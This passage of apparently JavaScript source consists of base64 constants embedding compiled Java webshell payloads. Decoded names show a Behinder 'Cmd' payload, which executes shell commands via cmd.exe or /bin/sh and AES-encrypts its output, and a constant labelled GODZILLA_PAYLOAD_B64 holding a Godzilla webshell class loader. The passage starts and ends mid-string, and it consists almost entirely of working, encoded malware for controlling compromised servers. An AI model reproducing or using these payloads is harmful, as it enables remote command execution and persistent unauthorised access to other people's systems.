\"PwAH/wCgAAMHAGEHAA8HAEsAAQcAGUcHABn3AJQHABlHBwBV/wCEAAYHAGEHAA8HAEsAAAcAVQABBwAZBvgAAgACAH0AfgACAGsA\" +\n \"AAEAAAYACAAAAHAqtAActgALEh0EvQANWQMSHlO2AA4qtAAcBL0AD1kDEh9TtgAQtgAgTSwSIbYAFU67ACJZLRIjtwAkOgQSJbgA\" +\n \"JjoFGQUEGQS2ACgZBSu2ACk6BrsAKlm3ACs6BxkHGQa2ACwqGQe2AC23AC62AC+wAAAAAgBsAAAAJgAJAAAARwApAEgAMABJADwA\" +\n \"SgBDAEsASwBMAFMATQBcAE4AYwBQAG0AAABSAAgAAABwAG4AbwAAAAAAcAB/AIAAAQApAEcAgQBjAAIAMABAAIIAgAADADwANACD\" +\n \"AIQABABDAC0AhQCGAAUAUwAdAIcAgAAGAFwAFACIAIkABwCKAAAABAABABkAAgCLAIwAAwBrAAABdwADAAgAAACmuwAwWbcAMU4S\" +\n \"MrgAMzoELRI0tgA1Vyu5ADYBALkANwEAOgUZBbkAOAEAmQBaGQW5ADkBAMAAHjoGLbsAMFm3ADESOrYANRkGtgA1Eju2ADW2ADy2\" +\n \"ADVXKxkGuQA9AgDAAB46BxyZAA4qGQe2AC+3AC46By0ZB7YANVctEj62ADVXp/+iLbYAPBI/tgBAmQANLS22AEEEZLYAQi0SQ7YA\" +\n \"NVcttgA8sAAAAAQAbAAAAD4ADwAAAFUACABWAA8AVwAWAFgAOQBaAFcAWwBkAFwAaABeAHMAYgB6AGMAgQBkAIQAZQCQAGYAmgBn\" +\n \"AKEAaABtAAAASAAHAGQAHQCNAGMABwA5AEgAgQBjAAYAAACmAG4AbwAAAAAApgCOAHkAAQAAAKYAjwCQAAIACACeAJEAkgADAA8A\" +\n \"lwCTAGMABAB6AAAADAABAAAApgCOAHsAAQB8AAAAGwAE/gAjBwAwBwAeBwCU/QBPBwAeBwAe+AAQFQCKAAAABAABABkAlQAAAAIA\" +\n \"lgACAJcAmAACAGsAAAEtAAYAAwAAAK0rtgALtgBEEkW2AEabAFEqK7YACxJHA70ADbYADisDvQAPtgAQtQBIKiu2AAsSSQO9AA22\" +\n \"AA4rA70AD7YAELUACiortgALEkoDvQANtgAOKwO9AA+2ABC1ABynACwrwABLTSosEky5AD0CALUAHCosEk25AD0CALUACiosEk65\" +\n \"AD0CALUASCq0AAq2AAsSTwS9AA1ZAxIeU7YADiq0AAoEvQAPWQMSFFO2ABBXsQAAAAQAbAAAACoACgAAAGsADwBtACgAbgBBAG8A\" +\n \"XQBzAGIAdABuAHUAegB2AIYAeACsAHkAbQAAACAAAwBiACQAmQB5AAIAAACtAG4AbwAAAAAArQB3AGYAAQB6AAAADAABAGIAJACZ\" +\n \"AJoAAgB8AAAABgAC+wBdKACKAAAABAABABkAAgCbAJwAAgBrAAABdgAGAAcAAACTElBNEjK4ADM6BCq2AAtXElG4AFJOLRJTAbYA\" +\n \"Di0BtgAQOgUZBbYACxJUBL0ADVkDEhJTtgAOGQUEvQAPWQMrU7YAEMAAHk2nAEo6BSq2AAtXEla4AFJOLbYAVzoGGQa2AAsSWAS9\" +\n \"AA1ZAxISU7YADhkGBL0AD1kDK1O2ABDAAB5NLBJZElC2AFoSWxJQtgBaTSywAAEACgBHAEoAVQADAGwAAAAyAAwAAAB8AAMAfgAK\" +\n \"AIEAFQCCACMAgwBHAIsASgCFAEwAhwBXAIgAXQCJAIEAigCRAIwAbQAAAFwACQAjACQAnQBmAAUAFQA1AJ4AnwADAF0ANACdAGYA\" +\n \"BgBMAEUAoAChAAUAAACTAG4AbwAAAAAAkwCiAIAAAQADAJAAeABjAAIAVwA8AJ4AnwADAAoAiQCTAGMABAB8AAAALwAC/wBKAAUH\" +\n \"AGEHABIHAB4ABwAeAAEHAFX/AEYABQcAYQcAEgcAHgcADQcAHgAAAIoAAAAEAAEAGQACAKMApAACAGsAAAD+AAYABgAAAGYqtAAc\" +\n \"tgALEh0EvQANWQMSHlO2AA4qtAAcBL0AD1kDEh9TtgAQtgAgTCsDBbYAXBAQuABdEBBwPbsAXlm3AF9OHLwIOgQDNgUVBRkEvqIA\" +\n \"FhkEFQUtEQEAtgBgkVSEBQGn/+gZBLAAAAADAGwAAAAiAAgAAACPACkAkAA4AJEAQACSAEUAkwBQAJUAXQCTAGMAlwBtAAAAPgAG\" +\n \"AEgAGwClAKYABQAAAGYAbgBvAAAAKQA9AIEAYwABADgALgCnAKYAAgBAACYAqACpAAMARQAhAKoAgAAEAHwAAAAaAAL/AEgABgcA\" +\n \"YQcAHgEHAF4HABIBAAD6ABoAigAAAAQAAQAZAAEAqwAAAAIArA==\";\n\nconst CMD_CLASS_B64 =\n \"yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDf\" +\n \"BwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goA\" +\n \"JwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEF\" +\n \"CAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBG\" +\n \"ARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgL\" +\n \"AMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkH\" +\n \"AToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBh\" +\n \"dGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24B\" +\n \"AAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQv\" +\n \"cmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEA\" +\n \"BXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVz\" +\n \"dWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcv\" +\n \"U3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzsp\" +\n \"TGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVy\" +\n \"OwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNy\" +\n \"eXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtl\" +\n \"eVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFy\" +\n \"cmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0\" +\n \"AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVp\" +\n \"bGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFa\" +\n \"AQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xh\" +\n \"bmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9s\" +\n \"YW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0\" +\n \"Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1\" +\n \"ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6\" +\n \"AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZh\" +\n \"L2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhj\" +\n \"ZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEA\" +\n \"B3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1j\" +\n \"AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEA\" +\n \"F2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04\" +\n \"AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEA\" +\n \"E2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACw\" +\n \"ALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmlu\" +\n \"ZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwM\" +\n \"AX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdl\" +\n \"Q29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNz\" +\n \"aW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1Jh\" +\n \"bmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hh\" +\n \"cnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9P\" +\n \"YmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNz\" +\n \"OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01l\" +\n \"dGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcv\" +\n \"T2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdl\" +\n \"AQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZh\" +\n \"L2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5k\" +\n \"ZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFu\" +\n \"Zy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJl\" +\n \"YW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAMihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9uaW8vY2hhcnNldC9DaGFy\" +\n \"c2V0OylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2\" +\n \"YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA5nZXRFcnJvclN0cmVhbQEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylW\" +\n \"AQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZh\" +\n \"L3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAUoW0IpVgEAC3RvQnl0ZUFycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2\" +\n \"YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcv\" +\n \"Q2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAZrZXlTZXQBABEoKUxqYXZh\" +\n \"L3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQAD\" +\n \"KClaAQAEbmV4dAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJY29tcGFyZVRvAQAIZW5k\" +\n \"c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAlzZXRMZW5ndGgBAAQoSSlWAQAHZ2V0TmFtZQEACXN1YnN0cmluZwEAFihJ\" +\n \"SSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kp\" +\n \"SQEAB25leHRJbnQBAAQoSSlJACEAeQAQAAAABwAJAHoAewAAAAkAfAB7AAAACQB9AHsAAAAKAH4AewAAAAIAfwCAAAAAAgCBAIAA\" +\n \"AAACAIIAgAAAAAkAAQCDAIQAAQCFAAAALwABAAEAAAAFKrcAAbEAAAACAIYAAAAGAAEAAAAOAIcAAAAMAAEAAAAFAIgAiQAAAAEA\" +\n \"igCLAAEAhQAAA2EACQAIAAABzrsAAlm3AANNKiu3AAQsEgUqsgAGtwAHuQAIAwBXLBIJsgAKuQAIAwBXKrQAC7YADBINA70ADrYA\" +\n \"Dyq0AAsDvQAQtgARTi22AAwSEgS9AA5ZAxITU7YADzoEGQQtBL0AEFkDKiosBLcAFBIVtgAWtwAXU7YAEVcttgAMEhgDvQAOtgAP\" +\n \"LQO9ABC2ABFXLbYADBIZA70ADrYADy0DvQAQtgARV6cBKk6nASZOLBIFLbYAG7kACAMAVywSCRIcuQAIAwBXKrQAC7YADBINA70A\" +\n \"DrYADyq0AAsDvQAQtgARTi22AAwSEgS9AA5ZAxITU7YADzoEGQQtBL0AEFkDKiosBLcAFBIVtgAWtwAXU7YAEVcttgAMEhgDvQAO\" +\n \"tgAPLQO9ABC2ABFXLbYADBIZA70ADrYADy0DvQAQtgARV6cAkU6nAI06BSq0AAu2AAwSDQO9AA62AA8qtAALA70AELYAEToGGQa2\" +\n \"AAwSEgS9AA5ZAxITU7YADzoHGQcZBgS9ABBZAyoqLAS3ABQSFbYAFrcAF1O2ABFXGQa2AAwSGAO9AA62AA8ZBgO9ABC2ABFXGQa2\" +\n \"AAwSGQO9AA62AA8ZBgO9ABC2ABFXpwAFOgYZBb8ErAAHACkAogClABoACAApAKkAGgDCATsBPgAaAAgAKQFCAAAAqQDCAUIAAAFE\" +\n \"AcQBxwAaAUIBRAFCAAAABACGAAAAhgAhAAAAHQAIAB8ADQAgAB0AIQApACwARQAtAFkALgB2ADAAjAAxAKIANgClADMApgA3AKkA\" +\n \"IwCqACQAtwAlAMIALADeAC0A8gAuAQ8AMAElADEBOwA2AT4AMwE/ADcBQgArAUQALAFhAC0BdgAuAZQAMAGsADEBxAA2AccAMwHJ\" +\n \"ADcBzAA4AIcAAABmAAoARQBdAIwAgAADAFkASQCNAI4ABACqABgAjwCQAAMA3gBdAIwAgAADAPIASQCNAI4ABAFhAGMAjACAAAYB\" +\n \"dgBOAI0AjgAHAAABzgCIAIkAAAAAAc4AkQCAAAEACAHGAJIAkwACAJQAAAAMAAEACAHGAJIAlQACAJYAAAA/AAf/AKUAAwcAeQcA\" +\n \"EAcAbgABBwAaQwcAGvcAlAcAGkMHAFH/AIQABgcAeQcAEAcAbgAABwBRAAEHABoB+AACAAIAlwCYAAIAhQAAAb8ABgAHAAAA6hId\" +\n \"uAAeuAAfTRIgTivGANsrtgAhngDUEiK4AB62ACMSJLYAJZsAILgAJga9ACdZAxIoU1kEEilTWQUrU7YAKjoEpwAduAAmBr0AJ1kD\" +\n \"EitTWQQSLFNZBStTtgAqOgS7AC1ZuwAuWRkEtgAvLLcAMLcAMToFGQW2ADI6BhkGxgAmuwAzWbcANC22ADUZBrYANRI2tgA1tgA3\" +\n \"ThkFtgAyOgan/9u7AC1ZuwAuWRkEtgA4LLcAMLcAMToFGQW2ADI6BhkGxgAmuwAzWbcANC22ADUZBrYANRI2tgA1tgA3ThkFtgAy\" +\n \"Ogan/9stsAAAAAMAhgAAAEYAEQAAADwACQA9AAwAPwAXAEEAJwBCAEQARABeAEYAdABHAHsASACAAEkAmQBKAKMATAC5AE0AwABO\" +\n \"AMUAUADeAFEA6ABUAIcAAABSAAgAQQADAJkAmgAEAF4AigCZAJoABAB0AHQAmwCcAAUAewBtAJ0AewAGAAAA6gCIAIkAAAAAAOoA\" +\n \"egB7AAEACQDhAJ4AnwACAAwA3gCSAHsAAwCWAAAAHwAG/QBEBwCgBwAn/AAZBwCh/QAcBwAtBwAnJxz4ACcAogAAAAQAAQAaAAIA\" +\n \"owCkAAIAhQAAAQAABgAIAAAAcCq0ADm2AAwSOgS9AA5ZAxInU7YADyq0ADkEvQAQWQMSO1O2ABG2ADxNLBI9tgAWTrsAPlktEj+3\" +\n \"AEA6BBJBuABCOgUZBQQZBLYARBkFK7YARToGuwBGWbcARzoHGQcZBrYASCoZB7YASbcASrYAS7AAAAACAIYAAAAmAAkAAABZACkA\" +\n \"WgAwAFsAPABcAEMAXQBLAF4AUwBfAFwAYABjAGIAhwAAAFIACAAAAHAAiACJAAAAAABwAKUApgABACkARwCnAHsAAgAwAEAAqACm\" +\n \"AAMAPAA0AKkAqgAEAEMALQCrAKwABQBTAB0ArQCmAAYAXAAUAK4ArwAHAKIAAAAEAAEAGgACALAAsQACAIUAAAF2AAYABwAAAJMS\" +\n \"IE0STLgAHjoEKrYADFcSTbgATk4tEk8BtgAPLQG2ABE6BRkFtgAMElAEvQAOWQMSE1O2AA8ZBQS9ABBZAytTtgARwAAnTacASjoF\" +\n \"KrYADFcSUrgATk4ttgBTOgYZBrYADBJUBL0ADlkDEhNTtgAPGQYEvQAQWQMrU7YAEcAAJ00sEjYSILYAVRJWEiC2AFVNLLAAAQAK\" +\n \"AEcASgBRAAMAhgAAADIADAAAAGcAAwBpAAoAbAAVAG0AIwBuAEcAdgBKAHAATAByAFcAcwBdAHQAgQB1AJEAdwCHAAAAXAAJACMA\" +\n \"JACyAIAABQAVADUAswC0AAMAXQA0ALIAgAAGAEwARQC1ALYABQAAAJMAiACJAAAAAACTALcApgABAAMAkACSAHsAAgBXADwAswC0\" +\n \"AAMACgCJALgAewAEAJYAAAAvAAL/AEoABQcAeQcAEwcAJwAHACcAAQcAUf8ARgAFBwB5BwATBwAnBwAOBwAnAAAAogAAAAQAAQAa\" +\n \"AAIAuQC6AAMAhQAAAl4ABwAKAAABQrsAM1m3ADROEky4AB46BC0SV7YANVcruQBYAQC5AFkBADoFGQW5AFoBAJkA9hkFuQBbAQDA\" +\n \"ACc6Bi27ADNZtwA0Ely2ADUZBrYANRJdtgA1tgA3tgA1VysZBrkAXgIAwAAntgBfOgccmQCnGQQSYLYAYZsATSq2AAxXEk24AE46\" +\n \"CBkIEk8BtgAPGQgBtgAROgkZCbYADBJQBL0ADlkDEhNTtgAPGQkEvQAQWQMZBxIVtgAWU7YAEcAAJzoHpwBTKrYADFcSUrgATjoI\" +\n \"GQi2AFM6CRkJtgAMElQEvQAOWQMSE1O2AA8ZCQS9ABBZAxkHEhW2ABZTtgARwAAnOgcZBxI2EiC2AFUSVhIgtgBVOgctGQe2ADVX\" +\n \"LRJitgA1V6f/Bi22ADcSY7YAZJkADS0ttgBlBGS2AGYtEme2ADVXLbYAN7AAAAAEAIYAAABeABcAAAB7AAgAfAAPAH0AFgB+ADkA\" +\n \"gABXAIEAZwCCAGsAhAB1AIYAgQCHAJEAiAC8AIkAvwCMAMsAjQDSAI4A/QCPAQ8AlAEWAJUBHQCWASAAlwEsAJgBNgCZAT0AmgCH\" +\n \"AAAAcAALAIEAOwCzALQACACRACsAsgCAAAkAywBEALMAtAAIANIAPQCyAIAACQBnALYAuwB7AAcAOQDkAKcAewAGAAABQgCIAIkA\" +\n \"AAAAAUIAvACTAAEAAAFCAL0AvgACAAgBOgC/AMAAAwAPATMAuAB7AAQAlAAAAAwAAQAAAUIAvACVAAEAlgAAAB4ABf4AIwcAMwcA\" +\n \"JwcAwf0AmwcAJwcAJ/sAT/gAEBUAogAAAAQAAQAaAMIAAAACAMMAAgDEAMUAAgCFAAABLQAGAAMAAACtK7YADLYAaBJptgAlmwBR\" +\n \"Kiu2AAwSagO9AA62AA8rA70AELYAEbUAayortgAMEmwDvQAOtgAPKwO9ABC2ABG1AAsqK7YADBJtA70ADrYADysDvQAQtgARtQA5\" +\n \"pwAsK8AAbk0qLBJvuQBeAgC1ADkqLBJwuQBeAgC1AAsqLBJxuQBeAgC1AGsqtAALtgAMEnIEvQAOWQMSJ1O2AA8qtAALBL0AEFkD\" +\n \"EhVTtgARV7EAAAAEAIYAAAAqAAoAAACdAA8AnwAoAKAAQQChAF0ApgBiAKcAbgCoAHoAqQCGAKsArACsAIcAAAAgAAMAYgAkAMYA\" +\n \"kwACAAAArQCIAIkAAAAAAK0AkQCAAAEAlAAAAAwAAQBiACQAxgDHAAIAlgAAAAYAAvsAXSgAogAAAAQAAQAaAAIAyADJAAIAhQAA\" +\n \"AP4ABgAGAAAAZiq0ADm2AAwSOgS9AA5ZAxInU7YADyq0ADkEvQAQWQMSO1O2ABG2ADxMKwMFtgBzEBC4AHQQEHA9uwB1WbcAdk4c\" +\n \"vAg6BAM2BRUFGQS+ogAWGQQVBS0RAQC2AHeRVIQFAaf/6BkEsAAAAAMAhgAAACIACAAAAK4AKQCvADgAsABAALEARQCyAFAAtABd\" +\n \"ALIAYwC2AIcAAAA+AAYASAAbAMoAywAFAAAAZgCIAIkAAAApAD0ApwB7AAEAOAAuAMwAywACAEAAJgDNAM4AAwBFACEAzwCmAAQA\" +\n \"lgAAABoAAv8ASAAGBwB5BwAnAQcAdQcAEwEAAPoAGgCiAAAABAABABoACADQAIQAAQCFAAAAHgABAAAAAAAGEnizAAqxAAAAAQCG\" +\n \"AAAABgABAAAAEwABANEAAAACANI=\";\n\nconst GODZILLA_PAYLOAD_B64 =\n \"yv66vgADAC0FaAcAAgEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1l\" +\n \"dGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2Jq\" +\n \"ZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGph\" +\n \"dmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2Ns\" +\n \"YXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4\" +\n \"AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEA\" +\n \"EkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcA\" +\n \"CAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2\" +\n \"YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABco\" +\n \"W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQB\" +\n \"ACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFu\" +\n \"Zy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQ\" +\n \"AFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9N\" +\n \"ZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAP\" +\n \"CgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5n\" +\n \"L05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClM\" +\n \"amF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJs\" +\n \"ZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZh\" +\n 